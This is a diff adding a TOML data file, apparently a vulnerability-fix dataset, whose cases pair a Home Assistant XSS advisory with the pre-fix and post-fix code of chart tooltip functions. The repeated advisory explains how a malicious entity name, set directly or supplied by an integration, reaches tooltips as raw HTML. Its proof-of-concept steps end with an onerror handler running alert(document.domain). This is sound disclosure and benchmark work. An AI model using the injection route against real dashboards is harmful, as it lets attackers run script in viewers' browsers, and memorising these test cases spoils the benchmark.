{\n sections.push(\n sections.length > 0\n ? nodesWithIndex.sort((a, b) => {\n // sort by the order of their parents in the previous section with orphans at the end\n const aParentIndex = this._findParentIndex(\n a.id,\n data.links,\n sections\n );\n const bParentIndex = this._findParentIndex(\n b.id,\n data.links,\n sections\n );\n if (aParentIndex === bParentIndex) {\n return 0;\n }\n if (aParentIndex === -1) {\n return 1;\n }\n if (bParentIndex === -1) {\n return -1;\n }\n return aParentIndex - bParentIndex;\n })\n : nodesWithIndex\n );\n }\n });\n const links = this._processLinks(filteredNodes, data.links);\n const sectionWidth = width / indexes.length;\n const labelSpace = sectionWidth - NODE_SIZE - LABEL_DISTANCE;\n\n return {\n id: \"sankey\",\n type: \"sankey\",\n nodes: sections.flat().map((node) => ({\n id: node.id,\n value: node.value,\n itemStyle: {\n color: node.color,\n },\n depth: depthMap.get(node.index),\n })),\n links,\n draggable: false,\n scaleLimit: { min: 1, max: 4 },\n orient: this.vertical ? \"vertical\" : \"horizontal\",\n nodeWidth: 15,\n nodeGap: NODE_GAP,\n lineStyle: {\n color: \"gradient\",\n opacity: 0.4,\n curveness: 0.5,\n },\n layoutIterations: 0,\n animationDuration: 500,\n label: {\n formatter: (params) =>\n data.nodes.find((node) => node.id === (params.data as Node).id)\n ?.label ?? (params.data as Node).id,\n position: this.vertical ? \"bottom\" : \"right\",\n distance: LABEL_DISTANCE,\n minMargin: 5,\n overflow: \"break\",\n },\n labelLayout: (params) => {\n if (this.vertical) {\n // reduce the label font size so the longest word fits on one line\n const longestWord = params.text\n .split(\" \")\n .reduce(\n (longest, current) =>\n longest.length > current.length ? longest : current,\n \"\"\n );\n const wordWidth = measureTextWidth(longestWord, FONT_SIZE);\n const availableWidth = (params.rect.width + 6) * this._currentZoom;\n const fontSize = Math.min(\n FONT_SIZE,\n (availableWidth / wordWidth) * FONT_SIZE\n );\n return {\n fontSize: fontSize > 1 ? fontSize : 0,\n width: availableWidth,\n align: \"center\",\n dy: -2, // shift up or the lowest row labels may be cut off\n };\n }\n\n const availableHeight = (params.rect.height + 8) * this._currentZoom; // account for the margin\n const fontSize = Math.min(\n (availableHeight / params.labelRect.height) * FONT_SIZE,\n FONT_SIZE\n );\n return {\n fontSize,\n lineHeight: fontSize,\n width: labelSpace,\n height: params.rect.height,\n };\n },\n top: this.vertical ? 0 : OVERFLOW_MARGIN,\n bottom: this.vertical ? 25 : OVERFLOW_MARGIN,\n left: this.vertical ? OVERFLOW_MARGIN : 0,\n right: this.vertical ? OVERFLOW_MARGIN : labelSpace + LABEL_DISTANCE,\n emphasis: {\n focus: \"adjacency\",\n },\n } as SankeySeriesOption;\n });\n"
+repo = "home-assistant/frontend"
+url = "https://github.com/home-assistant/frontend.git"
+
+[[case]]
+advisory = "GHSA-wx4m-69m9-gx3m"
+advisory_text = "Home Assistant: XSS in Statistics Graph Card\n\n### Summary\nAn authenticated party can add a malicious name to any statistics-capable entity, allowing for\nCross-Site Scripting attacks against anyone who views a Statistics Graph card containing that\nentity, when they hover over any data point on the chart.\n\n**Payload**\n\n\n**Payload triggering**\n\n\nAn alternative, and more impactful scenario, is that the entity gets a malicious name from the\nprovider of the integration (e.g. Tibber, Shelly, or any HACS integration), and is exploited\nthat way through the default name — without requiring any direct access to the Home Assistant\ninstance. This is the same supply-chain vector as CVE-2025-62172.\n\n\n### Details\n\nThe Statistics Graph card renders entity names in ECharts tooltips as raw HTML. The offending\nline is in `src/components/chart/statistics-chart.ts`:\n\nhttps://github.com/home-assistant/frontend/blob/c13a80ce5e7ae39f0262444e2b6295a074a96732/src/components/chart/statistics-chart.ts#L236\n\nWhere **_`param.seriesName`_** is interpolated verbatim into the returned HTML string:\n\n```\nreturn `${time}${param.marker} ${param.seriesName}: ${value}`;\n```\n\nNo call to `filterXSS()` is made — unlike the Energy dashboard chart, which was patched as part\nof CVE-2025-62172:\n\n```\n// FIXED in energy-chart-options.ts:268\nreturn `${param.marker} ${filterXSS(param.seriesName!)}: ...`;\n```\n\nThe `statistics-chart` component was not updated when the Energy chart was patched, leaving the\nsame class of vulnerability in place.\n\nThe existing entity and payload used for CVE-2025-62172 is also a valid exploit for this vulnerability:\n\n\n\nThe name value flows through the following chain:\n\n1. `name` is set from `getStatisticLabel(this.hass, statistic_id, meta)`:\n https://github.com/home-assistant/frontend/blob/c13a80ce5e7ae39f0262444e2b6295a074a96732/src/components/chart/statistics-chart.ts#L411\n\n2. `getStatisticLabel` is defined here and calls `computeStateName(entity)`:\n https://github.com/home-assistant/frontend/blob/c13a80ce5e7ae39f0262444e2b6295a074a96732/src/data/recorder.ts#L329-L339\n\n3. `computeStateName` is defined here — no HTML encoding is applied:\n https://github.com/home-assistant/frontend/blob/c13a80ce5e7ae39f0262444e2b6295a074a96732/src/common/entity/compute_state_name.ts\n\nThe only transformation applied to the name is replacing underscores with spaces\n(`computeObjectId(entityId).replace(/_/g, \" \")`), which does not prevent HTML injection.\n\n\n**NB:** Do note that only the fields `Mean, State, Sum and Change` are vulnerable. The top 3 (Min, Max, Mean) or the bottom 3 (State, Sum, Change) are selected by default though, making it vulnerable by default:\n\n\nAnother requirement is that the Chart Type is of type Line, not Bar, which is also the default:\n\n\n\n\n---\n\n### PoC\n\n1. In **Settings → Devices & Services → Helpers**, click **+ Create Helper**. (For testing)\n\n2. Choose **Template** → **Template sensor**. Fill in the form:\n - **Name:** `test `\n - **State template:** `{{0.00000001*as_timestamp(states('sensor.date_time_iso'))}}`\n - **Unit of measurement:** `kWh`\n - **State class:** `Measurement`\n - Click **Submit**.\n\n\n\n\n3. Open a dashboard and add a **Statistics Graph** card targeting the new sensor:\n\n\n\n\n**NB:** Set time-window to 5 minutes for ease of testing so you see data quickly\n\n\n4. Hover over any data point on the chart.\n\n\n\n\n5. The `onerror` handler fires — `alert(document.domain)` executes in the browser or HTML-injection appears depending on the payload\n\n\n** Exact helper as described here**\n\n\n**Own sensor**\n\n\n**Own sensor 2**\n\n---\n\n### Impact\n\nThe vulnerability can be exploited remotely via the supply-chain vector: any integration that\nautomatically names entities (e.g. energy providers like Tibber) could deliver the payload\nwithout requiring the attacker to have any account on the target Home Assistant instance. This\nmirrors the exact attack path described in CVE-2025-62172. The most likely exploit is also through energy providers due to them providing multiple entities compatible with statistic graphs.\n\nCompared to CVE-2025-62172, this has the requirement that you add a Statistics Graph to your dashboard (or somehow view the entity in a Statistics Graph through other means, if such a method exists). Otherwise the attack flow is identical.\nSuggested CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H\n\nThe root cause — missing `filterXSS()` on `param.seriesName` — is identical to the already-fixed\nEnergy dashboard. The Statistics Graph card, which uses a shared `statistics-chart` component,\nwas not included in the previous fix scope.\n\nCredit: Robin Lunde - [https://robinlunde.com](https://robinlunde.com)"
+commit = "b8c201b6d34414d30c622797366570185c219614"
+cwe = "CWE-80"
+family = "output_encoding"
+function = "formatTooltip"
+function_lines = [[226, 299]]
+id = "home-assistant-frontend-588ec87d01bd562c"
+language = "typescript"
+method = "fix_site"
+parent = "4a6c23c93e0cf24c26721090ba168a853b91843f"
+path = "src/panels/lovelace/cards/energy/common/energy-chart-options.ts"
+post_fix = "function formatTooltip(\n params: CallbackDataParams[],\n locale: FrontendLocaleData,\n config: HassConfig,\n suggestedPeriod: string,\n compare: boolean | null,\n showCompareYear: boolean,\n unit?: string,\n formatTotal?: (total: number) => string\n): TemplateResult | typeof nothing {\n if (!params[0]?.value) {\n return nothing;\n }\n // displayX may be shifted from the period start (see EnergyDataPoint);\n // originalStart has the real date for display. Gap-filled entries lack it.\n const origDate = params.find((p) => p.value?.[2] != null)?.value?.[2];\n const date = new Date(origDate ?? params[0].value?.[0]);\n let period: string;\n\n if (suggestedPeriod === \"month\") {\n period = `${formatDateMonthYear(date, locale, config)}`;\n } else if (suggestedPeriod === \"day\") {\n period = showCompareYear\n ? formatDateWeekdayShortDate(date, locale, config)\n : formatDateWeekdayVeryShortDate(date, locale, config);\n } else {\n period = `${\n compare\n ? `${(showCompareYear ? formatDateShort : formatDateVeryShort)(date, locale, config)}: `\n : \"\"\n }${formatTime(date, locale, config)}`;\n if (params[0].componentSubType === \"bar\") {\n period += ` – ${formatTime(addHours(date, 1), locale, config)}`;\n }\n }\n\n let sumPositive = 0;\n let countPositive = 0;\n let sumNegative = 0;\n let countNegative = 0;\n const rows: TemplateResult[] = [];\n for (const param of params) {\n const y = param.value?.[1] as number;\n const value = formatNumber(\n y,\n locale,\n y < 0.1 ? { maximumFractionDigits: 3 } : undefined\n );\n if (value === \"0\") {\n continue;\n }\n if (param.componentSubType === \"bar\") {\n if (y > 0) {\n sumPositive += y;\n countPositive++;\n } else {\n sumNegative += y;\n countNegative++;\n }\n }\n rows.push(\n html`\n ${param.seriesName}:\n
\n ${rows.map(\n (row, i) => html`${i > 0 ? html` ` : nothing}${row}`\n )}${sumPositive !== 0 && countPositive > 1 && formatTotal\n ? html` ${formatTotal(sumPositive)}`\n : nothing}${sumNegative !== 0 && countNegative > 1 && formatTotal\n ? html` ${formatTotal(sumNegative)}`\n : nothing}`;\n}\n"
+pre_fix = "function formatTooltip(\n params: CallbackDataParams[],\n locale: FrontendLocaleData,\n config: HassConfig,\n suggestedPeriod: string,\n compare: boolean | null,\n showCompareYear: boolean,\n unit?: string,\n formatTotal?: (total: number) => string\n) {\n if (!params[0]?.value) {\n return \"\";\n }\n // displayX may be shifted from the period start (see EnergyDataPoint);\n // originalStart has the real date for display. Gap-filled entries lack it.\n const origDate = params.find((p) => p.value?.[2] != null)?.value?.[2];\n const date = new Date(origDate ?? params[0].value?.[0]);\n let period: string;\n\n if (suggestedPeriod === \"month\") {\n period = `${formatDateMonthYear(date, locale, config)}`;\n } else if (suggestedPeriod === \"day\") {\n period = showCompareYear\n ? formatDateWeekdayShortDate(date, locale, config)\n : formatDateWeekdayVeryShortDate(date, locale, config);\n } else {\n period = `${\n compare\n ? `${(showCompareYear ? formatDateShort : formatDateVeryShort)(date, locale, config)}: `\n : \"\"\n }${formatTime(date, locale, config)}`;\n if (params[0].componentSubType === \"bar\") {\n period += ` – ${formatTime(addHours(date, 1), locale, config)}`;\n }\n }\n const title = `
${period}
`;\n\n let sumPositive = 0;\n let countPositive = 0;\n let sumNegative = 0;\n let countNegative = 0;\n const values = params\n .map((param) => {\n const y = param.value?.[1] as number;\n const value = formatNumber(\n y,\n locale,\n y < 0.1 ? { maximumFractionDigits: 3 } : undefined\n );\n if (value === \"0\") {\n return false;\n }\n if (param.componentSubType === \"bar\") {\n if (y > 0) {\n sumPositive += y;\n countPositive++;\n } else {\n sumNegative += y;\n countNegative++;\n }\n }\n return `${param.marker} ${filterXSS(param.seriesName!)}:
${value} ${unit}
`;\n })\n .filter(Boolean);\n let footer = \"\";\n if (sumPositive !== 0 && countPositive > 1 && formatTotal) {\n footer += ` ${formatTotal(sumPositive)}`;\n }\n if (sumNegative !== 0 && countNegative > 1 && formatTotal) {\n footer += ` ${formatTotal(sumNegative)}`;\n }\n return values.length > 0 ? `${title}${values.join(\" \")}${footer}` : \"\";\n}\n"
+repo = "home-assistant/frontend"
+url = "https://github.com/home-assistant/frontend.git"
+
+[[case]]
+advisory = "GHSA-wx4m-69m9-gx3m"
+advisory_text = "Home Assistant: XSS in Statistics Graph Card\n\n### Summary\nAn authenticated party can add a malicious name to any statistics-capable entity, allowing for\nCross-Site Scripting attacks against anyone who views a Statistics Graph card containing that\nentity, when they hover over any data point on the chart.\n\n**Payload**\n\n\n**Payload triggering**\n\n\nAn alternative, and more impactful scenario, is that the entity gets a malicious name from the\nprovider of the integration (e.g. Tibber, Shelly, or any HACS integration), and is exploited\nthat way through the default name — without requiring any direct access to the Home Assistant\ninstance. This is the same supply-chain vector as CVE-2025-62172.\n\n\n### Details\n\nThe Statistics Graph card renders entity names in ECharts tooltips as raw HTML. The offending\nline is in `src/components/chart/statistics-chart.ts`:\n\nhttps://github.com/home-assistant/frontend/blob/c13a80ce5e7ae39f0262444e2b6295a074a96732/src/components/chart/statistics-chart.ts#L236\n\nWhere **_`param.seriesName`_** is interpolated verbatim into the returned HTML string:\n\n```\nreturn `${time}${param.marker} ${param.seriesName}: ${value}`;\n```\n\nNo call to `filterXSS()` is made — unlike the Energy dashboard chart, which was patched as part\nof CVE-2025-62172:\n\n```\n// FIXED in energy-chart-options.ts:268\nreturn `${param.marker} ${filterXSS(param.seriesName!)}: ...`;\n```\n\nThe `statistics-chart` component was not updated when the Energy chart was patched, leaving the\nsame class of vulnerability in place.\n\nThe existing entity and payload used for CVE-2025-62172 is also a valid exploit for this vulnerability:\n\n\n\nThe name value flows through the following chain:\n\n1. `name` is set from `getStatisticLabel(this.hass, statistic_id, meta)`:\n https://github.com/home-assistant/frontend/blob/c13a80ce5e7ae39f0262444e2b6295a074a96732/src/components/chart/statistics-chart.ts#L411\n\n2. `getStatisticLabel` is defined here and calls `computeStateName(entity)`:\n https://github.com/home-assistant/frontend/blob/c13a80ce5e7ae39f0262444e2b6295a074a96732/src/data/recorder.ts#L329-L339\n\n3. `computeStateName` is defined here — no HTML encoding is applied:\n https://github.com/home-assistant/frontend/blob/c13a80ce5e7ae39f0262444e2b6295a074a96732/src/common/entity/compute_state_name.ts\n\nThe only transformation applied to the name is replacing underscores with spaces\n(`computeObjectId(entityId).replace(/_/g, \" \")`), which does not prevent HTML injection.\n\n\n**NB:** Do note that only the fields `Mean, State, Sum and Change` are vulnerable. The top 3 (Min, Max, Mean) or the bottom 3 (State, Sum, Change) are selected by default though, making it vulnerable by default:\n\n\nAnother requirement is that the Chart Type is of type Line, not Bar, which is also the default:\n\n\n\n\n---\n\n### PoC\n\n1. In **Settings → Devices & Services → Helpers**, click **+ Create Helper**. (For testing)\n\n2. Choose **Template** → **Template sensor**. Fill in the form:\n - **Name:** `test `\n - **State template:** `{{0.00000001*as_timestamp(states('sensor.date_time_iso'))}}`\n - **Unit of measurement:** `kWh`\n - **State class:** `Measurement`\n - Click **Submit**.\n\n\n\n\n3. Open a dashboard and add a **Statistics Graph** card targeting the new sensor:\n\n\n\n\n**NB:** Set time-window to 5 minutes for ease of testing so you see data quickly\n\n\n4. Hover over any data point on the chart.\n\n\n\n\n5. The `onerror` handler fires — `alert(document.domain)` executes in the browser or HTML-injection appears depending on the payload\n\n\n** Exact helper as described here**\n\n\n**Own sensor**\n\n\n**Own sensor 2**\n\n---\n\n### Impact\n\nThe vulnerability can be exploited remotely via the supply-chain vector: any integration that\nautomatically names entities (e.g. energy providers like Tibber) could deliver the payload\nwithout requiring the attacker to have any account on the target Home Assistant instance. This\nmirrors the exact attack path described in CVE-2025-62172. The most likely exploit is also through energy providers due to them providing multiple entities compatible with statistic graphs.\n\nCompared to CVE-2025-62172, this has the requirement that you add a Statistics Graph to your dashboard (or somehow view the entity in a Statistics Graph through other means, if such a method exists). Otherwise the attack flow is identical.\nSuggested CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H\n\nThe root cause — missing `filterXSS()` on `param.seriesName` — is identical to the already-fixed\nEnergy dashboard. The Statistics Graph card, which uses a shared `statistics-chart` component,\nwas not included in the previous fix scope.\n\nCredit: Robin Lunde - [https://robinlunde.com](https://robinlunde.com)"
+commit = "b8c201b6d34414d30c622797366570185c219614"
+cwe = "CWE-80"
+family = "output_encoding"
+function = "customElement"
+function_lines = [[33, 388]]
+id = "home-assistant-frontend-589375de71f6b2f2"
+language = "typescript"
+method = "fix_site"
+parent = "4a6c23c93e0cf24c26721090ba168a853b91843f"
+path = "src/panels/config/integrations/integration-panels/zwave_js/zwave_js-network-visualization.ts"
+post_fix = "@customElement(\"zwave_js-network-visualization\")\nexport class ZWaveJSNetworkVisualization extends SubscribeMixin(LitElement) {\n public hass!: HomeAssistant;\n\n @property({ attribute: false }) public route!: Route;\n\n @property({ attribute: \"is-wide\", type: Boolean }) public isWide = false;\n\n @property({ type: Boolean }) public narrow = false;\n\n @property({ attribute: false }) public configEntryId!: string;\n\n @state() private _nodeStatuses: Record = {};\n\n @state() private _nodeStatistics: Record<\n number,\n ZWaveJSNodeStatisticsUpdatedMessage\n > = {};\n\n @state() private _devices: Record = {};\n\n @state() private _searchFilter = \"\";\n\n public hassSubscribe() {\n const devices = Object.values(this.hass.devices).filter((device) =>\n device.config_entries.some((entry) => entry === this.configEntryId)\n );\n\n return devices.map((device) =>\n subscribeZwaveNodeStatistics(this.hass!, device.id, (message) => {\n const nodeId = message.nodeId ?? message.node_id;\n this._devices[nodeId!] = device;\n this._nodeStatistics[nodeId!] = message;\n this._handleUpdatedNodeStatistics();\n })\n );\n }\n\n public connectedCallback() {\n super.connectedCallback();\n this._fetchNetworkStatus();\n }\n\n protected render() {\n return html`\n \n ${this.narrow\n ? html`
`\n : \"\";\n const durationInMs = value![2] - value![1];\n const formattedDuration = `${this.hass.localize(\n \"ui.components.history_charts.duration\"\n )}: ${millisecondsToDuration(durationInMs)}`;\n\n const markerLocalized = !computeRTL(\n this.hass.language,\n this.hass.translationMetadata.translations\n )\n ? marker\n : ``;\n\n const lines = [\n markerLocalized + name,\n formatDateTimeWithSeconds(\n new Date(value![1]),\n this.hass.locale,\n this.hass.config\n ),\n formatDateTimeWithSeconds(\n new Date(value![2]),\n this.hass.locale,\n this.hass.config\n ),\n formattedDuration,\n ].join(\" \");\n return [title, lines].join(\"\");\n };\n"
+repo = "home-assistant/frontend"
+url = "https://github.com/home-assistant/frontend.git"
+
+[[case]]
+advisory = "GHSA-wx4m-69m9-gx3m"
+advisory_text = "Home Assistant: XSS in Statistics Graph Card\n\n### Summary\nAn authenticated party can add a malicious name to any statistics-capable entity, allowing for\nCross-Site Scripting attacks against anyone who views a Statistics Graph card containing that\nentity, when they hover over any data point on the chart.\n\n**Payload**\n\n\n**Payload triggering**\n\n\nAn alternative, and more impactful scenario, is that the entity gets a malicious name from the\nprovider of the integration (e.g. Tibber, Shelly, or any HACS integration), and is exploited\nthat way through the default name — without requiring any direct access to the Home Assistant\ninstance. This is the same supply-chain vector as CVE-2025-62172.\n\n\n### Details\n\nThe Statistics Graph card renders entity names in ECharts tooltips as raw HTML. The offending\nline is in `src/components/chart/statistics-chart.ts`:\n\nhttps://github.com/home-assistant/frontend/blob/c13a80ce5e7ae39f0262444e2b6295a074a96732/src/components/chart/statistics-chart.ts#L236\n\nWhere **_`param.seriesName`_** is interpolated verbatim into the returned HTML string:\n\n```\nreturn `${time}${param.marker} ${param.seriesName}: ${value}`;\n```\n\nNo call to `filterXSS()` is made — unlike the Energy dashboard chart, which was patched as part\nof CVE-2025-62172:\n\n```\n// FIXED in energy-chart-options.ts:268\nreturn `${param.marker} ${filterXSS(param.seriesName!)}: ...`;\n```\n\nThe `statistics-chart` component was not updated when the Energy chart was patched, leaving the\nsame class of vulnerability in place.\n\nThe existing entity and payload used for CVE-2025-62172 is also a valid exploit for this vulnerability:\n\n\n\nThe name value flows through the following chain:\n\n1. `name` is set from `getStatisticLabel(this.hass, statistic_id, meta)`:\n https://github.com/home-assistant/frontend/blob/c13a80ce5e7ae39f0262444e2b6295a074a96732/src/components/chart/statistics-chart.ts#L411\n\n2. `getStatisticLabel` is defined here and calls `computeStateName(entity)`:\n https://github.com/home-assistant/frontend/blob/c13a80ce5e7ae39f0262444e2b6295a074a96732/src/data/recorder.ts#L329-L339\n\n3. `computeStateName` is defined here — no HTML encoding is applied:\n https://github.com/home-assistant/frontend/blob/c13a80ce5e7ae39f0262444e2b6295a074a96732/src/common/entity/compute_state_name.ts\n\nThe only transformation applied to the name is replacing underscores with spaces\n(`computeObjectId(entityId).replace(/_/g, \" \")`), which does not prevent HTML injection.\n\n\n**NB:** Do note that only the fields `Mean, State, Sum and Change` are vulnerable. The top 3 (Min, Max, Mean) or the bottom 3 (State, Sum, Change) are selected by default though, making it vulnerable by default:\n\n\nAnother requirement is that the Chart Type is of type Line, not Bar, which is also the default:\n\n\n\n\n---\n\n### PoC\n\n1. In **Settings → Devices & Services → Helpers**, click **+ Create Helper**. (For testing)\n\n2. Choose **Template** → **Template sensor**. Fill in the form:\n - **Name:** `test `\n - **State template:** `{{0.00000001*as_timestamp(states('sensor.date_time_iso'))}}`\n - **Unit of measurement:** `kWh`\n - **State class:** `Measurement`\n - Click **Submit**.\n\n\n\n\n3. Open a dashboard and add a **Statistics Graph** card targeting the new sensor:\n\n\n\n\n**NB:** Set time-window to 5 minutes for ease of testing so you see data quickly\n\n\n4. Hover over any data point on the chart.\n\n\n\n\n5. The `onerror` handler fires — `alert(document.domain)` executes in the browser or HTML-injection appears depending on the payload\n\n\n** Exact helper as described here**\n\n\n**Own sensor**\n\n\n**Own sensor 2**\n\n---\n\n### Impact\n\nThe vulnerability can be exploited remotely via the supply-chain vector: any integration that\nautomatically names entities (e.g. energy providers like Tibber) could deliver the payload\nwithout requiring the attacker to have any account on the target Home Assistant instance. This\nmirrors the exact attack path described in CVE-2025-62172. The most likely exploit is also through energy providers due to them providing multiple entities compatible with statistic graphs.\n\nCompared to CVE-2025-62172, this has the requirement that you add a Statistics Graph to your dashboard (or somehow view the entity in a Statistics Graph through other means, if such a method exists). Otherwise the attack flow is identical.\nSuggested CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H\n\nThe root cause — missing `filterXSS()` on `param.seriesName` — is identical to the already-fixed\nEnergy dashboard. The Statistics Graph card, which uses a shared `statistics-chart` component,\nwas not included in the previous fix scope.\n\nCredit: Robin Lunde - [https://robinlunde.com](https://robinlunde.com)"
+commit = "b8c201b6d34414d30c622797366570185c219614"
+cwe = "CWE-80"
+family = "output_encoding"
+function = "_updateHiddenStatsFromOptions"
+function_lines = [[637, 651]]
+id = "home-assistant-frontend-ade4d24b167a84dc"
+language = "typescript"
+method = "fix_site"
+parent = "4a6c23c93e0cf24c26721090ba168a853b91843f"
+path = "src/components/chart/ha-chart-base.ts"
+post_fix = " private _updateHiddenStatsFromOptions(options: HaECOption | undefined) {\n if (!options) return;\n const legend = ensureArray(this.options?.legend || [])[0] as\n | LegendComponentOption\n | undefined;\n Object.entries(legend?.selected || {}).forEach(([stat, selected]) => {\n if (selected === false) {\n this._getAllIdsFromLegend(options, stat).forEach((id) =>\n this._hiddenDatasets.add(id)\n );\n }\n });\n this.requestUpdate(\"_hiddenDatasets\");\n }\n"
+pre_fix = " private _updateHiddenStatsFromOptions(options: ECOption | undefined) {\n if (!options) return;\n const legend = ensureArray(this.options?.legend || [])[0] as\n | LegendComponentOption\n | undefined;\n Object.entries(legend?.selected || {}).forEach(([stat, selected]) => {\n if (selected === false) {\n this._getAllIdsFromLegend(options, stat).forEach((id) =>\n this._hiddenDatasets.add(id)\n );\n }\n });\n this.requestUpdate(\"_hiddenDatasets\");\n }\n"
+repo = "home-assistant/frontend"
+url = "https://github.com/home-assistant/frontend.git"
+
+[[case]]
+advisory = "GHSA-wx4m-69m9-gx3m"
+advisory_text = "Home Assistant: XSS in Statistics Graph Card\n\n### Summary\nAn authenticated party can add a malicious name to any statistics-capable entity, allowing for\nCross-Site Scripting attacks against anyone who views a Statistics Graph card containing that\nentity, when they hover over any data point on the chart.\n\n**Payload**\n\n\n**Payload triggering**\n\n\nAn alternative, and more impactful scenario, is that the entity gets a malicious name from the\nprovider of the integration (e.g. Tibber, Shelly, or any HACS integration), and is exploited\nthat way through the default name — without requiring any direct access to the Home Assistant\ninstance. This is the same supply-chain vector as CVE-2025-62172.\n\n\n### Details\n\nThe Statistics Graph card renders entity names in ECharts tooltips as raw HTML. The offending\nline is in `src/components/chart/statistics-chart.ts`:\n\nhttps://github.com/home-assistant/frontend/blob/c13a80ce5e7ae39f0262444e2b6295a074a96732/src/components/chart/statistics-chart.ts#L236\n\nWhere **_`param.seriesName`_** is interpolated verbatim into the returned HTML string:\n\n```\nreturn `${time}${param.marker} ${param.seriesName}: ${value}`;\n```\n\nNo call to `filterXSS()` is made — unlike the Energy dashboard chart, which was patched as part\nof CVE-2025-62172:\n\n```\n// FIXED in energy-chart-options.ts:268\nreturn `${param.marker} ${filterXSS(param.seriesName!)}: ...`;\n```\n\nThe `statistics-chart` component was not updated when the Energy chart was patched, leaving the\nsame class of vulnerability in place.\n\nThe existing entity and payload used for CVE-2025-62172 is also a valid exploit for this vulnerability:\n\n\n\nThe name value flows through the following chain:\n\n1. `name` is set from `getStatisticLabel(this.hass, statistic_id, meta)`:\n https://github.com/home-assistant/frontend/blob/c13a80ce5e7ae39f0262444e2b6295a074a96732/src/components/chart/statistics-chart.ts#L411\n\n2. `getStatisticLabel` is defined here and calls `computeStateName(entity)`:\n https://github.com/home-assistant/frontend/blob/c13a80ce5e7ae39f0262444e2b6295a074a96732/src/data/recorder.ts#L329-L339\n\n3. `computeStateName` is defined here — no HTML encoding is applied:\n https://github.com/home-assistant/frontend/blob/c13a80ce5e7ae39f0262444e2b6295a074a96732/src/common/entity/compute_state_name.ts\n\nThe only transformation applied to the name is replacing underscores with spaces\n(`computeObjectId(entityId).replace(/_/g, \" \")`), which does not prevent HTML injection.\n\n\n**NB:** Do note that only the fields `Mean, State, Sum and Change` are vulnerable. The top 3 (Min, Max, Mean) or the bottom 3 (State, Sum, Change) are selected by default though, making it vulnerable by default:\n\n\nAnother requirement is that the Chart Type is of type Line, not Bar, which is also the default:\n\n\n\n\n---\n\n### PoC\n\n1. In **Settings → Devices & Services → Helpers**, click **+ Create Helper**. (For testing)\n\n2. Choose **Template** → **Template sensor**. Fill in the form:\n - **Name:** `test `\n - **State template:** `{{0.00000001*as_timestamp(states('sensor.date_time_iso'))}}`\n - **Unit of measurement:** `kWh`\n - **State class:** `Measurement`\n - Click **Submit**.\n\n\n\n\n3. Open a dashboard and add a **Statistics Graph** card targeting the new sensor:\n\n\n\n\n**NB:** Set time-window to 5 minutes for ease of testing so you see data quickly\n\n\n4. Hover over any data point on the chart.\n\n\n\n\n5. The `onerror` handler fires — `alert(document.domain)` executes in the browser or HTML-injection appears depending on the payload\n\n\n** Exact helper as described here**\n\n\n**Own sensor**\n\n\n**Own sensor 2**\n\n---\n\n### Impact\n\nThe vulnerability can be exploited remotely via the supply-chain vector: any integration that\nautomatically names entities (e.g. energy providers like Tibber) could deliver the payload\nwithout requiring the attacker to have any account on the target Home Assistant instance. This\nmirrors the exact attack path described in CVE-2025-62172. The most likely exploit is also through energy providers due to them providing multiple entities compatible with statistic graphs.\n\nCompared to CVE-2025-62172, this has the requirement that you add a Statistics Graph to your dashboard (or somehow view the entity in a Statistics Graph through other means, if such a method exists). Otherwise the attack flow is identical.\nSuggested CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H\n\nThe root cause — missing `filterXSS()` on `param.seriesName` — is identical to the already-fixed\nEnergy dashboard. The Statistics Graph card, which uses a shared `statistics-chart` component,\nwas not included in the previous fix scope.\n\nCredit: Robin Lunde - [https://robinlunde.com](https://robinlunde.com)"
+commit = "b8c201b6d34414d30c622797366570185c219614"
+cwe = "CWE-80"
+family = "output_encoding"
+function = "_getSeries"
+function_lines = [[955, 996]]
+id = "home-assistant-frontend-d7404ee83aa6f810"
+language = "typescript"
+method = "fix_site"
+parent = "4a6c23c93e0cf24c26721090ba168a853b91843f"
+path = "src/components/chart/ha-chart-base.ts"
+post_fix = " private _getSeries() {\n const xAxis = (this.options?.xAxis?.[0] ?? this.options?.xAxis) as\n | XAXisOption\n | undefined;\n const series = ensureArray(this.data).map((s) => {\n const data = this._hiddenDatasets.has(String(s.id ?? s.name))\n ? undefined\n : s.data;\n let result = {\n ...s,\n data,\n } as HaECSeriesItem;\n if (data && s.type === \"line\") {\n if ((s as LineSeriesOption).sampling === \"minmax\") {\n const minX = xAxis?.min\n ? xAxis.min instanceof Date\n ? xAxis.min.getTime()\n : typeof xAxis.min === \"number\"\n ? xAxis.min\n : undefined\n : undefined;\n const maxX = xAxis?.max\n ? xAxis.max instanceof Date\n ? xAxis.max.getTime()\n : typeof xAxis.max === \"number\"\n ? xAxis.max\n : undefined\n : undefined;\n result = {\n ...result,\n sampling: undefined,\n data: downSampleLineData(\n data as LineSeriesOption[\"data\"],\n this.clientWidth * window.devicePixelRatio,\n minX,\n maxX\n ),\n } as HaECSeriesItem;\n }\n }\n return processSeriesTooltipFormatter(result);\n });\n return series as ECOption[\"series\"];\n }\n"
+pre_fix = " private _getSeries() {\n const xAxis = (this.options?.xAxis?.[0] ?? this.options?.xAxis) as\n | XAXisOption\n | undefined;\n const series = ensureArray(this.data).map((s) => {\n const data = this._hiddenDatasets.has(String(s.id ?? s.name))\n ? undefined\n : s.data;\n if (data && s.type === \"line\") {\n if (s.sampling === \"minmax\") {\n const minX = xAxis?.min\n ? xAxis.min instanceof Date\n ? xAxis.min.getTime()\n : typeof xAxis.min === \"number\"\n ? xAxis.min\n : undefined\n : undefined;\n const maxX = xAxis?.max\n ? xAxis.max instanceof Date\n ? xAxis.max.getTime()\n : typeof xAxis.max === \"number\"\n ? xAxis.max\n : undefined\n : undefined;\n return {\n ...s,\n sampling: undefined,\n data: downSampleLineData(\n data as LineSeriesOption[\"data\"],\n this.clientWidth * window.devicePixelRatio,\n minX,\n maxX\n ),\n };\n }\n }\n const name = filterXSS(String(s.name ?? s.id ?? \"\"));\n return { ...s, name, data };\n });\n return series as ECOption[\"series\"];\n }\n"
+repo = "home-assistant/frontend"
+url = "https://github.com/home-assistant/frontend.git"
+
+[[case]]
+advisory = "GHSA-wx4m-69m9-gx3m"
